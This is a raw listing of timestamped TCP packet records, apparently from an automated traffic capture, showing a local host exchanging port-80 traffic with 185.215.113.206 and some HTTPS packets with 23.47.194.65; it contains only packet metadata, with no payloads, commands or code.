Oct 31, 2024 01:18:53.964369059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964381933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964392900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964517117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964528084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964538097 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964543104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964549065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964560032 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964570999 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964571953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964585066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964586020 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964610100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964658976 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964668989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964679003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964685917 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964693069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964704037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964706898 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964715958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964735031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964736938 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964746952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964756966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964760065 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964768887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964782000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964783907 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964791059 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964845896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964857101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964868069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964871883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964879036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964890957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964901924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964904070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964909077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964950085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964950085 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.964982033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.964993000 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965003967 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965030909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965030909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965141058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965152025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965162992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965162992 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965214014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965214014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965233088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965245008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965255022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965267897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965280056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965301991 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965440989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965452909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965462923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965471983 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965478897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965491056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965502977 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965502977 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965708971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965725899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965738058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965739965 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965753078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965770960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965783119 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965783119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965783119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965795040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965806961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965817928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965821981 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965828896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965841055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965842009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965848923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965852022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965861082 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965866089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965882063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965893030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965893984 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965904951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965915918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965917110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965928078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965939045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965943098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965954065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965965033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965977907 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.965981960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.965995073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966005087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966011047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966011047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966017008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966041088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966067076 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966078997 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966093063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966104984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966116905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966131926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966131926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966208935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966221094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966231108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966233969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966254950 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966283083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966382027 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966392040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966427088 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966434002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966444969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966521025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966531992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966540098 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966543913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966571093 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966602087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966614008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966625929 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966629982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966640949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966653109 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966655970 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966698885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966698885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966737986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966749907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966762066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966773033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966783047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966806889 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966837883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966837883 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966840029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966851950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966865063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966877937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966887951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966888905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.966913939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966938972 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.966991901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967005014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967015028 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967025995 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967039108 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967042923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967053890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967065096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967077017 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967077971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967088938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967106104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967106104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967125893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967138052 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967149973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967150927 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967163086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967171907 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967174053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967191935 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967214108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967225075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967236042 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967236996 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967248917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967259884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967272043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967278957 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967288017 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967299938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967317104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967341900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967354059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967365026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967370033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967391014 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967430115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967437029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967442036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967453957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967470884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967477083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967483044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967494011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967503071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967505932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967516899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967529058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967529058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967540979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967552900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967564106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967566013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967566013 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967600107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967627048 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967664957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967690945 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967742920 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967760086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967789888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967802048 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967812061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967813969 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967833042 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967869043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967878103 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967910051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967922926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967936993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967963934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967964888 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.967974901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967986107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.967997074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968008041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968023062 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968051910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968051910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968090057 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968101025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968111992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968127966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968138933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968151093 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968152046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968199015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968199015 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968226910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968240023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968250990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968266964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968275070 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968277931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968291044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968316078 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968316078 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968358040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968369961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968380928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968383074 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968405962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968487978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968499899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968513012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968513966 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968537092 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968656063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968667984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968677998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968683004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968689919 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968700886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968707085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968719006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968730927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968734980 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968743086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968753099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968756914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968765974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968767881 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968777895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968790054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968801022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968801022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.968823910 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.968898058 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.987334013 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.010123014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.010238886 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.010252953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.010320902 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.073803902 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.073827982 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.073884010 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.073916912 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:54.075850010 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:54.077547073 CET	50001	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:54.077558041 CET	443	50001	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:54.079235077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079261065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079279900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079302073 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079319954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079333067 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079348087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079374075 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079380035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079402924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079406023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079427004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079453945 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079457998 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079478025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079480886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079515934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079526901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079531908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079538107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079541922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079555035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079566002 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079576969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079581022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079595089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079611063 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079627037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079638958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079655886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079679012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079691887 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079701900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079704046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079711914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079722881 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079735994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079744101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079755068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079763889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079768896 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079780102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079788923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.079797983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.079804897 CET	49962	80	192.168.2.5	185.215.113.206
